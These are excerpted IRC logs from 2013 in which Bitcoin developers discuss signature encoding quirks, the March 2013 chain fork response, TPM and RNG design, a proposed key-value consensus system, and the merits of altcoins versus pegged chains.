14:47 < amiller_> this is by far the best paper i've seen on bitcoin analysis imo
14:48 < amiller_> they get more 'right' than anyone else so fa
14:48 < amiller_> r
14:48 < amiller_> for example focusing on a rational rather than honest model
14:48 < amiller_> looking at mining and competition rather than just, e.g., user anonymity
14:48 < petertodd> yeah, it's a 51% majority of rational nodes, not honest ones
14:49 < amiller_> it's still a sort of weak paper
14:49 < jgarzik> amiller_, it's full of hand-waving
14:49 < jgarzik> several statements along the lines of "this must be changed" without supporting evidence
14:49 < amiller_> really nothing they've said is terribly well supported
14:50 < amiller_> it's just a workshop paper
14:50 < amiller_> that's basically the equivalent of a forum post
14:50 < gmaxwell> It's still an example of the peer review model failing.
14:51 < gmaxwell> There are some pretty obvious derpy things that any of us could have said "uh, you at least should talk to Y"
14:52 < amiller_> academia moves really slowly
14:52 < amiller_> it's a good sign if a bunch of goofy grad students start writing papers on related things eventually better ones will come out
14:52 < petertodd> They could have said they are analyzing a cryptocurrency with a given set of properties, rather than talking about Bitcoin specifically... which is what they've done really.
14:52 < petertodd> We need common terminology for different models of cryptocurrencies for instance.
14:53 < petertodd> Their analysis is valid for something almost, but not quite, like Bitcoin.
14:55 < petertodd> gmaxwell: re orphans, but we're already seeing pools with such a high hash rate that they are kinda invalidating the security model, modulo the fact that their users can in theory switch pools (weak I know)
14:57 < gmaxwell> yea, okay sure, I'll grant that.. but thats busted. I assume it'll change eventually. If nothing else sooner or later one of the pool compromises will do something unkind with the hashpower and it'll get cleaned up after the panic.
14:58 < Luke-Jr> I have my doubts
14:59 < petertodd> lets suppose though that, say, pooled-solo mode and auditing becomes popular or whatever: you'll wind up with the same centralization for higher profitability, without the obvious risks
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12:16 < HM_> Hmm
12:16 < HM_> seems to be common in ECC to take the x coordinate, mod n, of a point g1 to multiply it by another point g2
19:00 < HM> how do signed values even work
19:00 < sipa> they're stored as 2's complement
19:00 < sipa> so if the highest bit of the first byte is set, it's a negative vale
19:00 < sipa> but OpenSSL just parses everything as unsigned
19:02 < HM> sure, but how did these transactions get accepted ?
19:02 < sipa> because OpenSSL parses everything as unsigned :)
19:02 < sipa> and every bitcoin full node has used OpenSSL to parse signatures
19:03 < sipa> that's what i mean with bug-by-bug conformance: every full node must mimic all 'errors' that OpenSSL allows, and no others
19:03 < HM> I don't follow, if they're always interpreted as unsigned then the first 1 bit means nothing
19:04 < sipa> imagine you want to store the value 0x9999
19:04 < HM> 0b10011001100110011001
19:04 < sipa> so the positive integer 39321
19:04 < sipa> the correct DER encoding is 0x009999
19:05 < HM> oh, I'm not familiar with DER
19:05 < sipa> as 0x9999 is interpreted as -26215
19:05 < HM> seemed like crufty nonsense to me
19:05 < sipa> well, that's the standard, and it's crufty indeed, but it's sane
19:06 < sipa> the problem is, because OpenSSL knows it expects an unsigned integer, even if you store 0x9999, it will interpret that as 39321 and not as -26215
19:06 < HM> how is sane to encode a perfectly reasonable 2 byte unsigned value in 3 bytes with 1 useless 0x00 byte?
19:06 < sipa> because it is not an unsigned value
19:06 < sipa> DER doesn't have an unsigned integer type
19:07 < HM> why didn't Bitcoin just use 32 byte unsigned big endian byte types
19:07 < HM> that's pretty straightforward
19:07 < sipa> because Satoshi just used OpenSSL to encode/decode pubkeys/sigs
19:07 < sipa> and probably knew nothing about the encoding itself
19:09 < sipa> anyway: bottom line: every implementation _must_ accept 0x9999 as 39321, even though a standards-compliant DER parser would interpret that as a negative number, which would cause ECDSA to reject the signature as out of range
19:10 < HM> don't you mean it must accept 0x00 0x99 0x99
19:10 < sipa> it must accept both
19:10 < sipa> as OpenSSL accepts both
19:11 < HM> OpenSSL is broken
19:11 < sipa> it is not - it is a tolerant parser
19:11 < sipa> which tries to accept anything that makes sense
19:11 < HM> Why does it use DER if it interprets it as unsigned and DER doesn't have an unsigned type?
19:12 < sipa> well in a way it makes sense: "ok you give me this signature *parse* ok, syntactically correct. wait... this R value is negative? i don't expect a negative number here... let's assume you just missed a 0 byte in front"
19:13 < sipa> the only problem is that bitcoin passes signatures directly to OpenSSL
19:13 < HM> ick
19:13 < sipa> and thus made OpenSSL's implementation an implicit hardforking network rule
19:13 < HM> so basically you have to read the byte string and if it's not already zero padded, add a 0x00 byte
19:14 < sipa> by the way: we did use this 'oversight' to our advantage as well: it allowed a completely backward-compatible implementation of compressed pubkeys
19:14 < sipa> as every old nodes silently already accepted compressed pubkeys
19:15 < HM> using one oversight to correct another :P
19:15 < jgarzik> speaking of (somewhat)... petertodd already used 0x00 + 32 bytes for information purposes, so I think we should just do OP_DROP-as-standard
19:15 < jgarzik> i.e. purposefully invalid pubkey
19:15 < HM> compressed public keys made sense from the start
19:16 < sipa> jgarzik: i really dislike making something like that standard, but i have no problem with instant-pruning obviously-unspendable outputs
19:17 < jgarzik> interesting
19:17 < sipa> which was what he was asking for, i think
19:17 < jgarzik> a bit more limited than OP_DROP, but should suffice for per-transaction information purposes
19:17 < sipa> (make scriptPubKeys that start with an OP_RETURN insta-pruned)
19:18 < jgarzik> yeah
19:18 < sipa> 195k blocks verified
19:20 < HM> sipa: how is that AST idea for scripting going down?
19:20 < HM> along with P2SH
19:20 < sipa> HM: it exists
19:20 < sipa> in the abstract mathematical sense :p
19:21 < HM> anyone slapped together a grammar?
19:21 < sipa> roconnor and i have worked on something like that for a while about a year ago
19:22 < HM> any public documents?
19:22 < sipa> dunno
19:24 < sipa> we certainly never got to a point of defining a serialization, so i guess that'd count as 'no' to your question
19:26 < sipa> hmm, problem with such fast script verification: i can't get my parallel signature checking to use more than ~3 cores
19:28 < HM> i almost feel a register based script engine would suffice.
19:29 < HM> although long lists of pubkeys and such pose a problem
19:29 < HM> less flexible to expand as well
19:30 < sipa> 206k
20:02 < sipa> done!
21:06 < amiller> i'm learning to do proper semantics now
21:06 < amiller> wiht things that look like this:
21:07 < amiller> so i'm sure i'll have this sorted in no time
21:49 < gavinandresen> all righty
. who has done what? I sent an alert to 0.8 nodes and tweeted, pointing to sipa's post on bitcointalk
21:49 < gavinandresen> gmaxwell: you sent email to the infrastructure list?
21:49 <@gmaxwell> Yes.
21:50 <@gmaxwell> Sorry it wasn't a great email, but I checked and one hadn't been sent
fast seemed better than perfect.
21:50 < gavinandresen> fast is good
21:51 < gavinandresen> I'm going to kiss the kids goodnight, and stop and take a breath. We'll need a web page explaining to people what happened / what is happening; either on bitcoin.org or I could post to the foundation blog
--- Log opened Mon Mar 11 22:50:36 2013
--- Log closed Tue Mar 12 00:00:39 2013
--- Log opened Tue Mar 12 00:00:39 2013
00:17 < HM> so, sipa... you were telling me about bug for bug compatibility ;)
00:30 < midnightmagic> HM: dude, terrible timing, lol
00:37 < amiller> there should be a meta format so miners can voluntarily provide better detail about hash power
00:37 < amiller> it's pretty cool that we can observe pools strength in closer to real time
00:52 <@gmaxwell> HM: I was too. Actually I wanted to take a moment to mock you, but it was too busy! :P
--- Log closed Tue Mar 12 02:59:43 2013
--- Log opened Tue Mar 12 11:11:38 2013
--- Log closed Wed Mar 13 00:00:19 2013
--- Log opened Wed Mar 13 00:00:19 2013
03:46 < jgarzik> <blueadept> Decentralized networks for instant, off-chain payments - https://bitcointalk.org/index.php?topic=152334.0
04:01 < petertodd> oh, is that guy for real?
04:01 < petertodd> I didn't bother reading that huge page - assumed he was a crank.
04:03 < jgarzik> petertodd: I skimmed a bit, but admittedly had RL kid craziness going at same time
04:03 < petertodd> Huh, well at least it's probably not obviously crazy.
04:03 < jgarzik> petertodd: mainly wanted to add it to the collective link collection
--- Log closed Thu Mar 14 00:00:21 2013
--- Log opened Thu Mar 14 00:00:21 2013
17:25 < jgarzik> Block #225430 chain fork dataset available - https://bitcointalk.org/index.php?topic=153170.0
--- Log closed Fri Mar 15 00:00:22 2013
--- Log opened Fri Mar 15 00:00:22 2013
00:17 < amiller> jgarzik do you know how i'd go about getting a dataset of all the work done at that time
00:17 < amiller> like shares from pools
02:02 < warren> didn't know this existed
02:02 < amiller> yeah
02:02 < amiller> it's the rocket science research central
02:02 < amiller> we're going to the moon
02:02 < jgarzik> not until amiller blabbed about it anyway ;p
02:03 < warren> and not logged, apparently
02:03 < amiller> this is more of a shunt away from #bitcoin-dev than an exclusive panel jgarzik :p
02:08 < amiller> it could be logged, no one has seen the need to bother
02:09 < amiller> i have logs if you want a copy
02:09 < amiller> warren,^
02:15 < amiller> good evening
02:15 < cads> 'sir
02:16 < amiller> also see pm
02:16 < amiller> i think you're barking up the wrong tree with the suggestions about AI but it's probably not important
02:22 < amiller> cads ah i'm not sure what question this really answered but i feel like linking to a bunch of papers on the topic of interestellar economics
02:22 < amiller> http://people.csail.mit.edu/rivest/fc97-paper.pdf
02:23 < amiller> first of all ron rivest made a short opinion piece at the first FC conference speculating how future money would be based on computational power and it would have a lot in common with voting
02:24 < amiller> i like a really famous old paper in distributed computing about protocols that scale arbitrarily well http://groups.csail.mit.edu/tds/papers/Lynch/jacm88.pdf
02:24 < warren> shamir?
02:24 < amiller> shamir what?
02:25 < warren> -dev mention
02:25 < amiller> http://eprint.iacr.org/2012/584.pdf
02:25 < amiller> this is a paper by shamir and a colleague dorit ron on an empirical analysis of bitcoin
02:25 < amiller> it was really lame because they didn't really answer any of the questions they posed and those questions weren't worhtwhile in the first place >:|
02:26 < amiller> it has no theory or math or anything in it which is strange given that the authors are reputable academic crypto/math people
02:27 < amiller> still hopefully it's seen as 'breaking the ice'?
02:28 < amiller> the basic idea of partially synchronous networks is that there are some algorihtms that work even if you don't know what the latency is across the whole network
02:29 < amiller> the basic technique is something like exponential backoff - no matter what the real latency is, you 'find it' eventually/quickly
02:31 < amiller> so you said something about wanting to understand the basic limits of global consensus
02:32 < amiller> also it's useful to think about space and long distances if it puts coping with big latency in scope
02:33 < amiller> otherwise you can fantasize about intercontinental network splits or whatever
02:33 < amiller> but a practical reason is that better dealing with latency also implies better use of more efficient networks in a normal environment
21:37 < jgarzik> <smooth> so i built a tip bot for irc cause jgarzik suggested it, but im discouraged by all these legal issues. i may not deploy it
22:49 < petertodd> interesting
22:49 < petertodd> can he at least release the code?
22:52 < gmaxwell> run it as a testnet thing for development perhaps?
22:53 < jgarzik> He already disappeared off #bitcoin, where that was said, before I had a chance to say hi
22:54 * jgarzik was thinking about writing one, testing on testnet, and open sourcing the code... but not running it
22:54 < jgarzik> with real money
22:54 < petertodd> Ha, we all want to not run it.
22:54 < jgarzik> and even on testnet, zero deposits periodically
22:54 < petertodd> Yup, least testnet BTC suddenly have a value...
22:55 < gmaxwell> Right. I would expect limits on deposits and total value, and then someone in a favorable jurisdiction running it .. over tor. probably no problems, but I'm sure not going to do it.
22:55 < petertodd> I've been pondering TPM'd coins actually; would a remote attested private key swapping thing fall under FinCEN?
22:55 < gmaxwell> petertodd: god knows, we can probably find all kinds of regulatory corner cases very rapidly.
22:56 < gmaxwell> Testnet even is a funny example. Testnet is _clearly_ not money. not unless you want to call beaney babies money.
22:56 < petertodd> What's interesting there, is you can improve security of it by having central double-spend detection servers, yet those servers aren't "running" the scheme and you can have as many of them as you want.
22:56 < petertodd> gmaxwell: Yet the second testnet difficulty rises...
22:57 < gmaxwell> petertodd: well it can't we broke it. Testnet difficulty can be warped back to 1 at an time.
22:57 < gmaxwell> It's fundimentally broken. :)
22:57 < petertodd> gmaxwell: Right, so agree on more testnet checkpoints and it's money again...
22:58 < petertodd> Or fix the timewarp bug...
22:58 < gmaxwell> not just that.
22:58 < gmaxwell> if you mine a 20 minute block at a mod 2016-1 point the diff gets reset to 1.
22:58 < gmaxwell> well, 1-4 depending on the timestamps.
22:59 < gmaxwell> (the retarget uses the prior blocks actual difficulty)
22:59 < petertodd> Exactly, so if that bug gets fixed testnet can turn into money again on miner whim.
23:00 < gmaxwell> I suppose. But then why isn't my respect for you money? :P At some future whim I could convert it into bonds or something. :P
23:00 < petertodd> Anyway, my general point is it's good to have favorable legal rulings, but the law changes, and furthermore the interpretation of the law changes.
23:01 < petertodd> BTW you said you bought some TPM-capable hardware?
23:03 < petertodd> I was thinking of doing so too, and it'd be neat if we had what we had bought co-ordinated.
23:04 < jgarzik> TPM has an RNG too. Make sure to make use of that.
23:06 < petertodd> I dunno, I think RNG is easier than people make it out to be with yarrow and persistant applications.
23:06 < petertodd> For instance a perfectly reasonable RNG algorithm for something like a smartcard is to use a non-reversable counter with a secret seed.
23:07 < petertodd> *PRNG
23:07 * jgarzik was mainly thinking of its use to fill the kernel's entropy pool
23:08 < jgarzik> rngd will use TPM's RNG automatically, to do that
23:08 < jgarzik> then, /dev/[u]random are happier
23:08 < warren> I vaguely recall reading a paper about a smartcard that detected time-based attacks upon it by checking how much of SRAM had decayed into random bits during poweroff. I thought that was pretty clever.
23:09 < petertodd> warren: Interesting, although that'd make for an interesting testing problem at the factory.
23:09 < warren> I wondered at the time if that would be a good or bad way to get more entropy.
23:10 < petertodd> My point is, with secure storage you keep a pool that you are essentially adding entropy to the whole lifetime of the device, thus you don't actually need all that much, and it's perfectly reasonable for the factory to fill the pool with entropy per-device.
23:14 < warren> you're right, but you'd have to trust the factory
23:14 < petertodd> You already have to!
23:14 < warren> heh
23:15 < warren> Intel's new entirely digital hardware RNG is supposed to be pretty good. But the linux kernel developers don't trust intel, so they are feeding it as an input to the kernel prng instead.
23:16 < petertodd> As they should. Similarly software like Bitcoin shouldn't trust the kernel developers, and should feed their random numbers into our own PRNG
23:17 < warren> You're so screwed if you can't trust the kernel.
23:17 < petertodd> I proposed using the last privkey XOR /dev/urandom to create every privkey
23:18 < petertodd> oh, I forgot H(last privkey XOR /dev/urandom)
23:19 < petertodd> For Bitcoin PRNG mistakes are especially bad because the attacks can be done at leisure, so the usual standards of kernel development may not be enough.
23:21 < gmaxwell> petertodd: I already had a pair of X9SCL-F motherboards (i7 systems) which support the txt stuff but just need a tpm module. Getting actual TPM modules is hard. I found one which _may_ be compatible on ebay. I'll let you know when it shows up and I get a chance to test it.
23:21 < gmaxwell> warren: "trust but verify"
23:21 < gmaxwell> warren: if the kernel developers are malicious you're in trouble, if they make mistakes
well no need for bitcoin to be utterly brittle to weaknesses in the kernel rng.
23:22 < petertodd> gmaxwell: Cool. Yeah my mobo is an Acer and supports TPM modules, but good luck finding one. I was thinking I might just get a thinkpad laptop w/ TPM.
23:22 < gmaxwell> I have one of those but I use it. :P
23:23 < gmaxwell> petertodd: if you go that route: lenovo outlet store.
23:23 < gmaxwell> (or ebay)
23:23 < warren> gmaxwell: lenovo outlet doesn't have awesome deals anymore like a year or two ago
23:23 < gmaxwell> aww
23:23 < warren> gmaxwell: 3 of 11 laptops I bought from outlet were lemons
23:24 < warren> I think they gave up on the customer service for that and just dumped all of them with 3rd party outlets.
23:24 < petertodd> Yeah, I've got a few options - every laptop I've ever owned has been an older used thinkpad from a corporate lease.
23:24 < warren> You'll see them on newegg outlet along with random other brands.
23:25 < gmaxwell> petertodd: perhaps buy a thinkpad with a broken screen on ebay. :P one advantage of using laptops for this sort of thing is that if you wanted to come up with a design which would be cryptoanarchist compatible they could strip the laptops down to nothing but the motherboard and embed them in stuff.
23:25 < warren> That and if you can find a IBM employee, their ibmepp code lets you buy Thinkpads often cheaper than outlet.
23:26 < petertodd> gmaxwell: For sure. TPM 1.2 can do remote attestation just fine, it's just the lack of the infrastructure to convince others that your attestation is correct, but with some standardization I suspect that can be worked around.
23:26 < petertodd> gmaxwell: The JavaCard smartcard standard seems to be able to do it too, but documentation is scanty.
23:27 < gmaxwell> seperately from the bank stuff, a generic computational oracle would be interesting.
23:28 < petertodd> Yup. Not to mention secure remote servers is totally doable, especially if you add some anti-tamper sensors.
23:31 < gmaxwell> yea, well tampering can be made as hard as you like... make an anti-tamper nest of fine wires all around it and pot the darn thing... plus then its waterproof too. :P
23:33 < petertodd> Two other good ones are to use light sensors plus *light sources* in the box, and wipe the keys if the amount of light returned ever changes from the expected, along with vibration sensors. For the latter your only limitation is earthquakes.
23:33 < petertodd> I live on top of four billion year old rock so earthquakes aren't such a big deal. :P
23:33 < jgarzik> RE RNG and feeding... it's not about trusting the kernel but the hardware. Easier to put a big lump of FIPS testing and other fun in userspace. Easier to balance between competing consumers of hardware RNG entropy, if its bandwidth limited versus the application.
23:34 < jgarzik> a direct function call kernel->kernel isn't optimal for all situations
23:34 < jgarzik> including hardware RNG burp situation
23:37 < gmaxwell> petertodd: having something like accelerometer wipe and shutdown would be neat but kinda bad that you can never recover if someone just kicks it.
23:37 < jgarzik> gmaxwell: hah, neat idea
23:37 < gmaxwell> petertodd: I imagine it might be possible to drop a computer at the bottom of an abandoned gas well and fill it in. connected via fiber (both for power and comms) .... would be totally tamperproof.
23:39 < petertodd> gmaxwell: Depends on the threat model. Allegedly nuclear anti-proliferation sensors often are basically sealed computers in concrete filled holes, and seismic is an essential part of testban treaty monitoring anyway.
23:40 * jgarzik would love to see a modern day Johnny WifiNodeSeed
23:40 < jgarzik> toss them on rooftops, powered via solar
23:41 < petertodd> jgarzik: Ha, well my other hobby is cave exploration... maybe a microhydro turbine in a storm sewer? :P
23:42 * jgarzik wonders the size of the block header + largest transaction list seen to date
23:43 < jgarzik> having the full TX list can occasionally be more useful than just merkle root
--- Log closed Sat Mar 23 00:00:02 2013
--- Log opened Sat Mar 23 00:00:02 2013
18:43 < gmaxwell> petertodd: it seems to me that all this TPM everything (including hal's stuff) could all be converged on a single computational oracle model.
18:44 < gmaxwell> E.g. you write a TPM-program that takes a AST-program hashroot. And derrives a program specific secret value H(AST-root||oracle_secret) and pushes that on its stack along with the time. .. and runs whatever program the user sends it.
00:20 < zooko> Like with Bitcoin-proper, we relieve some of the burden on the consensus system by asking it only to determine which of multiple conflicting signed statements to honor, instead of
00:20 < zooko> asking it to speak for everyone.
00:20 < zooko> Right?
00:21 < zooko> In the same way that Bitcoin doesn't ask the global consensus to determine everyone's account balance, but only to choose which spend to honor when there are conflicting spends.
00:21 < petertodd> Ok, but lets rephrase that: Bitcoin is a consensus system, and for every unspent txout (the key!) it assigns a value (what transaction spent it!)
00:24 < zooko> Ok.
00:24 < zooko> But those keys are use-once.
00:25 < Luke-Jr> add a version number to the key name, and voila
00:26 < petertodd> Sure, but lots of key-value maps are set once, doesn't make it not a key value map.
00:31 < zooko> Luke-Jr: I don't quite see what you mean.
00:31 < zooko> petertodd: I didn't mean it isn't a key-value map...
00:32 < Luke-Jr> zooko: version 0 of a key is the first time it's set; version 1 overrides that to set it a 2nd time, etc
00:32 < zooko> So, maybe this is what Luke-Jr was getting at, if you have this set-once kind of thing, you can always use it as a set-many kind of thing by every time you set the set-once key, the value has the next key bundled into it.
00:32 < Luke-Jr> that's an option too
00:32 < Luke-Jr> I'd just make it deterministic :P
00:33 < Luke-Jr> "next key bundled into it" is arguably what Bitcoin does :P
00:33 < zooko> Yeah!
00:33 < petertodd> Exactly, and as jdillon pointed out, you can make a updatable key-value store that way: https://bitcointalk.org/index.php?topic=186264.msg2037810#msg2037810
00:33 < petertodd> Of course, he pointed that out because he wants to show that raising the blocksize limit is madness...
00:34 < Luke-Jr> right now*
00:34 < petertodd> Luke-Jr: correct, *removing* the blocksize limit
00:35 < petertodd> zooko: jdillon is the same guy that timestamped 50K PGP fingerprints into the blockchain to prove a point
00:36 < Luke-Jr> petertodd: glare at him for me
00:36 < Luke-Jr> if you want to prove a point, testnet is the place for that -.-
00:37 < petertodd> anyway... his underlying idea there is sound, the key-value system now called zookeyv that I outlined basically takes that simple structure and makes it efficient, and importantly, gives incentives to not hide your actual keys and values
00:37 < zooko> petertodd: heh heh
00:38 < zooko> So is your "zookeyv" design using the technique of bootstrapping set-once keys to get effectively set-many keys?
00:38 < petertodd> well... very roughly speaking kinda
00:39 < zooko> I don't understand why it is important to disincentivize hiding keys and values.
00:39 < zooko> Or... or what "hiding" could mean here.
00:39 < petertodd> Its more that we can attach a value to those set-once keys, to decide *which* set once key is now canonical, and instead of values being keys directly, they're block headers
00:41 < petertodd> Oh, and the key, that's actually the previous block(s) in the dag
00:41 < zooko> Hm.
00:41 < zooko> I didn't follow that last bit.
00:41 < zooko> There is never a question about which set-once key is canonical, if
00:41 < zooko> you already have a global consensus system to resolve conflicting claims about that from the controller of the key.
00:41 < zooko> Right?
00:42 < zooko> And what's a block header?
00:42 < petertodd> Well, lets suppose we have an updatable set-once key, as Luke described.
00:42 < zooko> Actually I didn't understand that.
00:42 < zooko> The version I described, in which you have a key that can really be set at most once
00:43 < zooko> and then whenever you set it, you set it to a tuple of (value, new-key).
00:43 < zooko> That I understand.
00:43 < petertodd> Basically he's just saying that if your keys follow the convention key-1, key-2, key-3 then you basically *do* have a set-more-than-once key-value map.
00:43 < zooko> (By the way, it dovetails with a thing called "Guy Fawkes Protocol".)
00:43 < petertodd> (assuming consensus about the current set of all k-v pairs)
00:43 < zooko> But, that's, but,...
00:43 < petertodd> Bitcoin has consensus about the state of the txout set.
00:43 < zooko> Someone who didn't control key-1 could set a value for key-2.
00:44 < petertodd> Sure, but what if we look at the whole set of those keys, and decide which one is canonical based on a PoW?
00:44 < petertodd> Which is what the blockchain kinda does...
00:45 < zooko> Um.
00:45 < zooko> Okay, "what if". My answer is, it might not work, might be complicated and dangerous, and also why would we want that?
00:46 < zooko> The thing where you set-once key1
00:46 < petertodd> Do you understand how the Bitcoin blockchain itself is basically one such key value system?
00:46 < zooko> would be secure.
00:46 < zooko> I think so.
00:47 < petertodd> Good. Now lets repalce the proof-of-work, with proof-of-sacrifice.
00:47 < zooko> So, like I was saying earlier, it seems wise to ask as little as possible from a global consensus system.
00:47 < petertodd> (tied to Bitcoin)
00:47 < petertodd> Sure, but we only have one good global consensus system, and that's Bitcoin, so build on it.
00:47 < zooko> Instead of asking Bitcoin-proper what each person's balance is, we ask it only to reject N-1 double-spends.
00:47 < petertodd> That's irrelevant to zookeyv
00:48 < zooko> Likewise, instead of asking it to decide whether key-1 and key-2 both belong to the same "owner" or authority spehere or whatever, let's just ask it to choose at most one of the "set-once" operations authorized by key1.
00:48 < zooko> Then let's use key1
(value1, key2) to tie key1 to key2.
00:48 < petertodd> Sure, but step back for a minute....
00:49 < petertodd> Lets suppose you had a Bitcoin blockchain, where instead of the hash-based proof of work, you decided on what was the blockchain based on
00:49 < petertodd> Bitcoin sacrifices.
00:49 < zooko> I don't see why it matters how the global consensus system decides.
00:49 < zooko> Although, I'm interested in the Bitcoin sacrifices idea!
00:49 < petertodd> It matters a heck of a lot because we have to build the damn thing...
00:50 < zooko> But I don't see why it matters for this.
00:50 < zooko> Hrm.
00:50 < petertodd> Anyway, point is, so you can make a blockchain where the best chain is picked by proof-of-sacrifice.
00:50 < zooko> Okay.
00:51 < petertodd> Now, the transactions that actually sacrifice funds, you can "mark" them in such a way that by examining the Bitcoin blockchain you can be sure to know about every such sacrifice.
00:51 < zooko> Haha! Security firedrill. Hilarious.
00:51 < zooko> Sorry.
00:51 < petertodd> (essentially there is global consensus on what sacrifices have been made for this PoS blockchain)
00:51 < petertodd> lol
00:51 < zooko> Distracted by that...
00:52 < zooko> Okay, so I think I understand... for example, you could spend to an address which is all 0 bits.
00:52 < petertodd> Now because of that consensus, you can be sure that *if* a sacrifice was made to add a block to the chain, you at least know that happened, if not what the contents of the block actually where.
00:52 < zooko> Ugh, I'm sorry, I missed a step again.
00:52 * zooko thinks.
00:53 < zooko> I still don't understand why it matters whether the consensus system that provides the set-once key-value pairs is PrOW or PrOSa. But I'm still interested in PrOSa.
00:54 < petertodd> Again, strictly speaking, it doesn't, but to actually make one, PoS is a *much* better option.
00:54 < zooko> Okay, so to help me understand, let's move back to more like normal Bitcoin.
00:54 < petertodd> Namecoin is k-v via PoW remember
00:54 < Luke-Jr> PoS = proof of stake
00:54 < zooko> Or something else that I find more familiar.
00:54 < Luke-Jr> petertodd: namecoin's k-v is proof of sacrifice
00:55 < petertodd> Pff, proof-of-stake == PoT, because that's what it's proponents are usually smoking
00:55 < Luke-Jr> lol
00:55 < petertodd> Luke-Jr: No, I mean the namecoin blockchain itself, not how you buy a name on it.
00:55 < Luke-Jr> oh
00:56 < petertodd> zooko: Well, I am talking about something like normal Bitcoin...
00:57 < petertodd> I'm describing how in my zookeyv system we determine what is the state of the blockchain.
01:00 < zooko> petertodd: okay, so suppose we have some way to achieve global consensus on a "blockchain",
01:00 < petertodd> see, you're talking on a level different than what I'm talking about
01:00 < zooko> where the relevant thing about a "blockchain" for this purpose is that a blockchain doesn't contain any conflicting set-once's for any key.
01:01 < petertodd> ok
01:01 < zooko> Am I on the right track so far?
01:01 < petertodd> Not really
01:02 < petertodd> You're getting hung up on what you do with the keys and values, not how you decide them,.
01:02 < zooko> Ah yes.
01:03 < zooko> So, what do you mean "how you decide them"? But don't tell me (yet) about how you would implement it!
01:03 < zooko> Instead tell me what properties it would have.
01:03 < zooko> Who gets to choose what the set-once value for key1 will be?
01:04 < petertodd> But see, zookeyv's underlying model allows for a whole bunch of ways to implement the deciding bit depending on what your problem is.
01:04 < zooko> By "who gets to choose", I hope to be getting at what you were talking about -- how you decide them.
01:04 < zooko> You mean a whole bunch of ways to determine who gets to choose the value for key1?
01:05 < petertodd> No, a whole bunch of ways to decide what the key-value mappings are.
01:05 < zooko> Isn't that the same thing?
01:05 < petertodd> What's more interesting, is how do you do the mappings on top of Bitcoin.
01:05 < petertodd> Because once you have one key-value mapping, you can build upon that to do all kinds of ones.
01:05 < petertodd> (specifically one set once key-value mapping)
14:49 < CodeShark> maaku: the wright brothers didn't even understand swept wing designs or the fundamental subsonic limitations of propellers
14:50 < CodeShark> point is, Satoshi surely missed many things, too
14:50 < adam3us> CodeShark: thought experiment: if ltc got real transactions, overtook btc in market cap, and then perhaps btc users dump btc to buy ltc causing a btc price crash; then ltc users notice ftc catchng up with its market cap - next thing you know people lose confidence in the asset class of digital scarcity and turn the whole thing into a digital tulip
14:51 < adam3us> CodeShark: I dont want that outcome. alts must die. use bitcoin-staging to try useful new params or features.
14:51 < CodeShark> anyhow, I'm not going to get sucked into a religious debate
14:52 < CodeShark> alts are inevitable - we must learn to cope with them. they won't die
14:53 < adam3us> CodeShark: i am just saying alts are stupid and maybe even dangerous.
14:53 < CodeShark> the same decentralized nature of the technology which makes bitcoin so hard to kill makes alts hard to kill
14:53 < adam3us> CodeShark: I think most of the pump & dumps will die soon enough. they have no intrinsic value because there are no transactions. eventually they die
14:54 < adam3us> CodeShark: bitcoin has first mover advantage - big intrinsic value, infrastructure and stored-value; the alts are abuses trying to make-money-fast with param-tweaks, 99% of them.
14:54 < CodeShark> the core technology is agnostic to these parameters - the core technology consists of a decentralized timestamping mechanism using proof-of-work
14:55 < CodeShark> you can think of alts as simply param tweaks on bitcoin - I see it a different way - I would like to see the decentralized timestamping mechanism Satoshi invented applied to many problems
14:55 < adam3us> CodeShark: if you like analogies its like the wrong brothers came along and cloned the write brothers plane and painted it blue and then tried to claim they invented or profit from the wright brothers work
14:56 < CodeShark> I think the original bitcoin client isn't sufficiently modular and flexible
14:56 < adam3us> CodeShark: "look at my blue plane".... its "BLUE" so its like cool and stuff, please mine it and make me money fast :)
14:56 < adam3us> CodeShark: so work on making it modular and flexible
14:56 < CodeShark> I have been :)
15:01 < CodeShark> adam3us: my motivation here is not making money fast - my motivation is seeing this technology evolve
15:02 < adam3us> CodeShark: ok, me too. i think the best for tht to happen is bitcoin-staging with 1:1 peg. BlueMatt & gmaxwell had a plausible argument that a 1:1 peg maybe possible
15:02 < adam3us> CodeShark: the one change to rule them all as greg put it
15:03 < adam3us> CodeShark: it allows btc denominated (21 million coin cap preserving) alts or beta-coins
15:03 < jtimon> adam3us 1:1 is possible but very unconvinient
15:04 < adam3us> how so?
15:04 < jtimon> what would you make bitcoin's security depend on another chain?
15:04 < adam3us> jtimon: i think its fantastic; thats the clever part - onl the coins moved are at risk
15:05 < jtimon> well, the whole altchain is at risk if the validity of its transactions depend on bitcoin's chain
15:05 < jtimon> a reorg in one can cause a reorg in the other
15:05 < nsh> depends on the nature of the dependency :)
15:06 < jtimon> sure
15:06 < adam3us> jtimon: yes. but it seems unlikely for the mid-term that an alt will be more secure than bitcoin; and most alts are also uninteresting - no tx, and no intrinsic value
15:06 < adam3us> jtimon: i think a reorg in the alt is designed not to do anyting to btc; g like mining a long conf time
15:06 < jtimon> that doesn't say anything in favor of a bitcoin-pegged currency
15:07 < adam3us> jtimon: most of the thinly veiled excuses for alts are "oh the innovation" (like param tweak or hash function swap)
15:07 < adam3us> jtimon: so if they can peg to btc, then they have no excuse, they can do the innovation or go away
15:07 < CodeShark> alts are just tinkering with parameters that a suffiiciently modularized technology would allow you to freely tweak anyhow
15:08 < jtimon> I don't see how a bitcoin-pegged currency will prevent stupid people from doing and saying stupid things
15:08 < adam3us> jtimon: yes but they wont be starting a digital scarcity race and no one will risk btc in them, so its less wasteful and less dangerous
15:09 < jtimon> I disagree with your "digital scarcity" argumentation
15:09 < jtimon> you can innovate in your own testnet, you don't need a btc-pegged currency nor an altcoin for that
15:11 < CodeShark> the genie is out of the bottle
15:11 < nsh> hell, these days you can simulate an entire operating economy with some EC2 instances and historical transaction data
15:11 < CodeShark> regardless of whether or not alts are dangerous to bitcoin, they are inevitable
15:12 < jtimon> agreed
15:12 < nsh> network protocols are inevitable too, yet here we are on tcp/ip(v6) :)
15:12 < nsh> (unfortunately)
15:13 < jtimon> and a btc-pegged altcoin changes nothing with respect to the rest of altcoins
15:14 < jtimon> I think we just need more time and people losing ridiculous amounts of money by speculating in altcoins for the fever to pass
15:14 < adam3us> jtimon: it shows them for what they are - pump & dumps or they would use btc-peg (unless they are actually experimenting with the distribution model itself, like freicoin)
15:15 < jtimon> I think the btc-pegged altcoin is a bad idea and I'm still missing how it is supposed to change in any way the perception on altcoins
15:15 < jtimon> why would they use btc-peg?
15:16 < jtimon> that's not better, is worse
15:16 < jtimon> technically
15:16 < jtimon> an unecessary burden
